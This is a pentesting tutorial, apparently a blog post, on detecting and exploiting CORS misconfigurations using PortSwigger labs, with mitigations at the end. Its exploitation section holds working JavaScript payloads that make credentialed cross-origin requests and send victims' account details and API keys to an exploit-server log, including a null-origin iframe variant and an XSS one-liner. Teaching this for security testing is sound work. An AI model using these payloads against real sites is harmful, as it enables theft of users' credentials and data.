All web browsers implement a security model known as the Same-Origin Policy (SOP). It restricts domains from accessing and retrieving data from other domains’ resources.

The SOP policy helps protect users from malicious scripts that could access their sensitive data or perform unauthorized actions on their behalf.

For example, if business.com tries to make an HTTP request to metrics.com, the browser, by default, will block the request because it comes from a different domain.

As much as the SOP sounds like a proper protection policy, it doesn’t scale well in today’s technologies that depend on each other for operation. For example, it presents challenges to APIs and microservices which have legitimate use cases for accessing and sharing information between domains.

Because of cases like this, there was a need for a new security mechanism that would allow for cross-domain interactions. It's known as Cross-Origin Resource Sharing (CORS).

This article will cover the basics of how CORS works and identify common vulnerabilities that can occur when you don't implement CORS correctly. We will also learn how to test and exploit the misconfigurations so that by the end of this guide, you will have a better understanding of how to test and validate for CORS during a pentest assessment.

I will use the Port Swigger CORS labs to demonstrate the testing and exploitation steps.

Table of Contents

What is Cross-Site Origin Policy (CORS)?

CORS is a security feature created to selectively relax the SOP restrictions and enable controlled access to resources from different domains. CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response.

There are several HTTP headers related to CORS, but we are interested in the two related to the commonly seen vulnerabilities — Access-Control-Allow-Origin and Access-Control-Allow-Credentials.

Access-Control-Allow-Origin: This header specifies the allowed domains to read the response contents. The value can be either a wildcard character (*), which indicates all domains are allowed, or a comma-separated list of domains.

#All domain are allowed
Access-Control-Allow-Origin: *   


#comma-separated list of domains
Access-Control-Allow-Origin: example.com, metrics.com

Access-Control-Allow-Credentials: This header determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.

The value of the header is either True or False. If the header is set to “true,” the domain allows sending credentials. If it is set to “false,” or not included in the response, then it is not allowed.

#allow passing credenitals in the requests
Access-Control-Allow-Credentials: true

#Disallow passing in the requests
Access-Control-Allow-Credentials: false

Impact of CORS Misconfigurations

CORS misconfigurations can have a significant impact on the security of web applications. Below are the main implications:

  • Data Theft: Attackers can use CORS vulnerabilities to steal sensitive data from applications like API keys, SSH keys, Personal identifiable information (PII), or users’ credentials.
  • Cross-Site Scripting (XSS): Attackers can use CORS vulnerabilities to perform XSS attacks by injecting malicious scripts into web pages to steal session tokens or perform unauthorized actions on behalf of the user.
  • Remote Code Execution in some cases (StackStorm case)

How to Identify CORS

When testing an application for CORS, we check if any of the application’s responses contain the CORS headers. We can use the search functionality in Burp Suite to search for the headers quickly.

In the example below, I searched for the Access-Control-Allow-Credentials header and got three (3) responses back. Once the headers are identified, we can select the requests and send them to Repeater for further analysis.

1*73ksv0ZrBWRf8dQZ7TliOg
1*FVD7mLNMgvsdWa5XVV9MSA
Figures 1 & 2 show the search functionality in Burp Suite to look for CORS headers.

To identify CORS issues, we can modify the Origin header in the requests with multiple values and see what response headers we get back from the application. There are four (4) known ways to do this, which we'll go over now.

1. Reflected Origins

Set the Origin header in the request to an arbitrary domain, such as https://attackersdomain.com, and check the Access-Control-Allow-Origin header in the response. If it reflects the exact domain you supplied in the request, it means the domain doesn’t filter for any origins.

The risk of this misconfiguration is high if the domain allows for credentials to be passed in the requests. We can validate that by checking if the Access-Control-Allow-Credentials header is also included in the response and is set to true.

However, the risk is low if passing credentials is not allowed, as the browser will not process the responses from authenticated requests.

📌 To exploit reflected origins, check the exploitation section — Case #1.

Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity
Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header.

2. Modified Origins

Set the Origin header to a value that matches the targeted domain, but add a prefix or suffix to the domain to check if there is any validation on the beginnings or ends of the domain.

If no checks are in place, we can create a similar matching domain that bypasses the CORS policy on the targeted domain. For example, adding a prefix or suffix to the metrics.com domain would be something like attackmetrics.com or metrics.com.attack.com.

The risk of this misconfiguration is considered high if the domain allows for passing credentials with the Access-Control-Allow-Credentials header set to true. The attacker can create a similar matching domain and retrieve sensitive information from the targeted domain.

But the risk would be low if authenticated requests were not allowed.

📌To exploit modified origins, check the exploitation section — Case #1.

3. Trusted subdomains with Insecure Protocol.

Set the Origin header to an existing subdomain and see if it accepts it. If it does, it means the domain trusts all its subdomains. This is not a good idea because if one of the subdomains has a Cross-Site Scripting (XSS) vulnerability, it will allow the attacker to inject a malicious JS payload and perform unauthorized actions.

This misconfiguration is considered high risk if the domain accepts subdomains with an insecure protocol, such as HTTP, and the credential header is set to true. Otherwise, it will not be exploitable and would be only a poor CORS implementation.

📌 To exploit trusted subdomains, check the exploitation section — Case #3.

Figure 4 — shows the application accepts arbitrary insecure subdomains. https://medium.com/r3d-buck3t — #cors #websecurity #web
Figure 4 — shows the application accepts arbitrary insecure subdomains.

4. Null Origin

Set the Origin header to the null value — Origin: null, and see if the application sets the Access-Control-Allow-Origin header to null. If it does, it means that null origins are whitelisted.

The risk level is considered high if the domain allows for authenticated requests with the Access-Control-Allow-Credentials header set to true.

But if it does not, then the issue is considered low, and not exploitable.

📌 To exploit Null Origins, check the exploitation section- Case #2.

Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t
Figure 5 — shows the application accepted the null value and returned it in the response.

Exploitable CORS Cases

In this section, we will go over how to exploit the CORS misconfigurations by categorizing them into test cases for easy understanding.

Case 1: Reflected Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the attacker’s supplied domain and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true
Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity
Figure 6 — shows the CORS headers for reflected origin.

The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then they have to create an HTML page, embed the JS script below, and send it to the user.

<html>
  <body>
    <script>

    #Initialize the XMLHttpRequest object, and the application URL vairable 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #MLHttpRequest object loads, exectutes reqListener() function
      req.onload = retrieveKeys;

    #Make GET request to the application accounDetails location
        req.open('GET', url + "/accountDetails",true);
    
    #Allow passing credentials with the requests
    req.withCredentials = true;

    #Send the request 
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  </script>
  <body>
</html>

Once the user visits your hosted page, it will automatically submit a CORS request to retrieve information about the user from the location specified in the script. Understanding the application structure and where it stores its sensitive information is essential for this step.

The above script starts with initializing the XMLHttpRequest (XHR) object to instruct the web browser that we will transfer data to and from a web server using the HTTP protocol. XHR is a browser API that allows client-side scripting languages such as JavaScript to make HTTP requests to a server and receive their responses dynamically without requiring the user to refresh the page.

Then, we instruct the object to execute a function called retrieveKeys that fetches the admin API key and sends the response to us when it loads.

Next, we make a GET request specifying the location from which we want to retrieve information and pass our credentials with the Credentials function set to true.

The request will automatically get blocked and denied if the application server doesn’t allow passing credentials between domains. But we know that this won’t happen here because the access-Control-Allow-Credentials is set to true.

To demonstrate how the script works, I’ll use the exploit server PortSwigger has available with the lab to host the above script.

Login into the application, click the “Go to exploit server,” and paste the script in the body. Then click on “Deliver exploit to victim.” In a real scenario, you need to send the link to the user and try to entice them to click it.

1*hIfdCKiIogCOquzGVz686w
1*svwpXxlVZpxpqiRQV8u_hg
Figures 7 & 8 — show the process of hosting the JS payload and delivering it to the user.

After delivering the exploit, click on “Access log” and you should be able to see the captured admin’s API key in the logs. Copy the string that has the key and paste into Burp Suite Decoder and decode it as a URL to retrieve the cleartext value.

1*2zq3p_IKD032TRHZdZPURA
1*5NNTx2nk9eLKT1fATokzCw
Figures 9 & 10 — show the admin API key in the logs and the plain text key value on Decoder.

Case 2: Null Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the null value and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t
Figure 11 — shows the application server accepts null origins.

The exploitation requires us to host the JS script file to be accessible to the targeted user (same as in case #1). Again, we will use the same script – just this time, we will add an iframe sandbox to retrieve the API key. The sandbox property sets the frame’s origin to null so that we can set the Origin header to the null value.

<html>
    <body>
        <iframe style="display: none;" sandbox="allow-scripts" srcdoc="
        <script>
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        </script>"></iframe>
    </body>
</html>

When the authenticated user clicks on our link http://192.168.1.14:5555/cors_null_poc.html, we will get the API key from the account details. But since our user is not an admin, we won’t be able to retrieve the admin API key.

The point of showing the below steps is that during a web application testing assessment, as a tester, you would be given admin and regular user accounts to test with them. In those cases, you follow the below steps to show your proof of concept through hosting the file locally. Or, of course, you can host the file externally as an alternative option.

1*a4Qtndhg7lDtOUriDT6CWA
1*MgEzSTxHOyF2oZQ1yNftnQ
Figures 12 & 13 — show null value is added to the request header, and the user accessed the cors_null_poc page.
Figure 14 — shows the user’s account details when clicking the link. https://medium.com/r3d-buck3t #cors #web #pentesting
Figure 14 — shows the user’s account details when clicking the link.

Case 3: Trusted Subdomains

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to any of its subdomains and allows credentials with Access-Control-Allow-Credentials set to true.

The exploitation of this case is dependent on whether the existing subdomain is vulnerable to XSS vulnerability to enable the attacker to abuse the misconfiguration.

Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true
Figure 15 — shows the domain accepts its subdomains’ origins. https://medium.com/r3d-buck3t #cors #web #pentesting #hacking
Figure 15 — shows the domain accepts its subdomains’ origins.

If you encounter this scenario, you need to check all the existent subdomains and try to find one with an XSS vulnerability to exploit it.

In the Port Swigger lab #3, the application trusts its subdomain — stock — that is vulnerable to XSS vulnerability in the ProductId= parameter.

1*HBCf3Iwa82ZAB0Frlll_pA
1*vqSoc_DI8kjbJTx-aF2DBg
Figures 16 & 17 — show the stocks subdomain vulnerable to XSS in the ProductId parameter.

We will use the same script to exploit this case, except we will add the location where we inject the payload using the document.location function. Then we format the payload to be a one-liner payload so that we can pass it in the parameter.

<script>
    document.location="http://subdomain.domain.com/?productId=<script>
    <script>
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "APPLICATION URL/accountDetails",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  </script> 
      </script>

After that, we save the script as cors_poc.html, host it on our server, and send the link to the user.

<html>
<body>
<script>
    document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
</body>
</html>

As you can see below in the screenshots, when the user accessed the link, the script injected the payload in the productId parameter and retrieved the API key.

1*bQu-QJBOmrH_DynC_VNbeg
1*-j8W-uY7yk-UmYol1cBzqg
1*NiWGBfvbWHT8Y47BuVrJ0w
Figures 18, 19 & 20 — show injecting the XSS payload and capturing the APi key in action.

Unexploitable Case: Wild Card (*)

The application is NOT vulnerable when the Access-Control-Allow-Origin is set to wildcard * , even if the Access-Control-Allow-Credentials header is set to true.

This is because there is a safety check in place that disables the Allow-Credentials header when the origin is set to a wildcard.

Mitigations

  • Implement proper CORS headers: The server can add appropriate CORS headers to allow cross-origin requests from only trusted sites.
  • Restrict access to sensitive data: It is important to restrict access to sensitive data to only trusted domains. This can be done by implementing access control measures such as authentication and authorization.

Wrapping Up

In this tutorial, we have covered the basics of CORS as a security feature that prevents web pages from making unauthorized requests to different domains.

We also covered the standard CORS testing techniques for detecting and exploiting CORS misconfigurations with tools like Burp Suites and Chrome DevTools.

By implementing and testing CORS correctly, web developers can ensure their web applications are secure and avoid misconfigurations that let attackers access unauthorized resources and compromise the application's security.

Resources